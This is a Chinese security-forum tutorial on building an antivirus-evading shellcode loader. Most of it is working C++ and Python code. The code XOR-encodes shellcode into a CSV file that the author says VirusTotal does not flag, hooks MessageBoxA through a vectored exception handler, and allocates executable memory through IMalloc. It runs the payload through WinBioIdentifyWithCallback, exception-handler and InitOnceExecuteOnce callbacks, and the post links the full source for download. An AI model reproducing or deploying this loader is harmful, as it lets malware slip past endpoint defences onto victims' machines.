问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
免杀绕某数字杀软
安全工具
渗透测试
师傅们快点进来一起学习!!
先上效果图 ===== ![1.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-6859d34f4750f28dead3dcc34ea5a382edd9408e.png) ![2.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-089acec46708875550df625793d335c2b3c074cd.png) 1.veh异常(基于软件断点)hook =================== 主要流程如下: 1.注册一个veh异常回调 2.确定一个api 3.把api的第一个字节改成cc 4.调用api触发异常 首先是获取一个api地址,这里我选择的是MessageboxA ```php DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA"); ULONG_PTR paddr = (ULONG_PTR)addr; ``` 然后把第一个字节更改为可读可写 ```php DWORD old = 0; VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old); ``` 随后把第一个字节改为cc ```php *(UCHAR*)addr = 0xCC; ``` 随后注册个异常回调 ```php LONG Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) { //这里判断是不是因为断点触发异常进来的 if ((ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress == paddr) { //这里判断异常地址是不是我们的Messagebox的地址 //随后就可以在这里面随意发挥了 std::cout << 1;//这里我打印一个1 exit(1); } } } AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler); ``` 最后调用我们的Messageboxa `MessageBoxA(0, "abc", 0, 0);` ![3.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-7f6d48b328b8cda50a406c1432d08ea994d02caa.png) 可以看到成功打印出来了1,后面的代码我们也就要写在这里面了 2.读取csv文件 ========= 这里我用python把shellcode异或后写入csv文件,c++读取也是比较简单,毕竟csv文件格式就是:“数据1,数据2”这样而已,只是用一个逗号隔开 Python加密源码: ```php import csv buf=b"。。。。。" sc=[] for i in buf: sc.append((i^1024)+1000) with open("shc.csv","w",newline="",encoding="utf-8") as f: write=csv.writer(f) write.writerow(sc) ``` 会生成一个shc.csv文件,结果如下 ![5.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-834450e20ba3ac7539380552ecca99c9ecceca08.png) ![9.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-00ab8e72f5076cb5f31195d76b6d4741bf86aa35.png) 并且csv文件vt全过 c++读取csv文件,并且解密shellcode ```php ifstream inFile("shc.csv", ios::in); string linstr; vector<vector<string>> strArray; while (getline(inFile, linstr)) { stringstream ss(linstr); string str; vector<string> linearray; while (getline(ss, str, ',')) { linearray.push_back(str); } strArray.push_back(linearray); } char buuf[2000];//解密后的shellcode存在buuf这里 int i = 0; for (auto s : strArray) { for (auto x : s) { char* strb = &x[0]; char strchar = (char)((atoi(strb) - 1000) ^ 1024); buuf[i] = strchar; i += 1; } } ``` 3.申请内存和加载shellcode ================== 这里我们用IMalloc接口来申请,使用如下 ```php DWORD old; IMalloc* PIMalloc = NULL; CoGetMalloc(MEMCTX_TASK, &PIMalloc); void* buu = PIMalloc->Alloc(sizeof(buuf));//分配内存 RtlCopyMemory(buu, buuf, sizeof(buuf)); ZeroMemory(buuf, sizeof(buuf)); VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old); ``` IMalloc还具有其他一些方法,如下 ```php IMalloc* PIMalloc = NULL; CoGetMalloc(MEMCTX_TASK, &PIMalloc); void* p = PIMalloc->Alloc(10);//分配内存 PIMalloc->Free(p);//释放内存 PIMalloc->Realloc(p,20);//更改以前分配的内存块的大小 ``` 具体的请师傅们去这里https://learn.microsoft.com/zh-cn/windows/win32/api/objidlbase/nn-objidlbase-imalloc **加载shellcode** 这里使用WinBioIdentifyWithCallback设置回调函数来执行我们的shellcode 这几个api具体是干什么的其实师傅们不需要去理解(其实我也不知道是干啥的),师傅们只需要知道使用WinBioIdentifyWithCallback设置回调函数然后WinBioCancel触发回调函数执行我们的shellcode即可,至于其他的参数跟着文档填即可 <https://learn.microsoft.com/zh-cn/windows/win32/api/winbio/nf-winbio-winbioidentifywithcallback> ```php WINBIO_SESSION_HANDLE session_handle; WinBioOpenSession(WINBIO_TYPE_FINGERPRINT, WINBIO_POOL_SYSTEM, WINBIO_FLAG_DEFAULT, NULL, 0,WINBIO_DB_DEFAULT, &session_handle); WinBioIdentifyWithCallback(session_handle, (PWINBIO_IDENTIFY_CALLBACK)buu, NULL); WinBioCancel(session_handle); WinBioWait(session_handle); WinBioCloseSession(session_handle); ``` 至此代码也就写完了,效果图在最上面,感觉还是挺不错的,哈哈 4.结尾 ==== 这里在说个加载shellcode的方法 1.AddVectoredExceptionHandler也可以用来加载shellcode 如下: ```php unsigned char buf[]="......"; DWORD addr = (DWORD)GetProcAddress(GetModuleHandleA("User32.dll"), "MessageBoxA"); DWORD old = 0; VirtualProtect(&buf, 1, PAGE_EXECUTE_READWRITE, &old); VirtualProtect((LPVOID)addr, 1, PAGE_EXECUTE_READWRITE, &old); *(UCHAR*)addr = 0xCC; AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)&buf); MessageBoxA(0, "abc", "abc", 0); ``` ![4.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-0233a641b179184220562d88f0cfe50d34486b74.png) 2.InitOnceExecuteOnce 利用这个api的第二个参数 文档https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-initonceexecuteonce 使用如下 ```php unsigned char buf[]="....."; DWORD old; IMalloc* PIMalloc = NULL; CoGetMalloc(MEMCTX_TASK, &PIMalloc); void* buu = PIMalloc->Alloc(sizeof(buf)); RtlCopyMemory(buu, buf, sizeof(buf)); VirtualProtect(buu, PIMalloc->GetSize(buu), PAGE_EXECUTE_READWRITE, &old); INIT_ONCE initonce; LPVOID Context = NULL; InitOnceExecuteOnce(&initonce, (PINIT_ONCE_FN)buu, 0, &Context); ``` ![6.PNG](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-609f98adbfdb95bbc132b370b7adf647a1e7de6f.png) **最后** **源代码我传在了阿里云,链接** scPass <https://www.aliyundrive.com/s/Tf3chWByXKp> 提取码: 6h2f 点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载极速在线查看,视频原画倍速播放。 注意!!使用时shc.csv文件需和exe文件在同一目录!! 文章可能有错的地方,希望师傅们能提出来!
发表于 2022-12-28 14:53:37
阅读 ( 7675 )
分类:
内网渗透
3 推荐
收藏
1 条评论
adasd
2024-01-03 14:39
niu
请先
登录
后评论
请先
登录
后评论
旺崽
学生
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!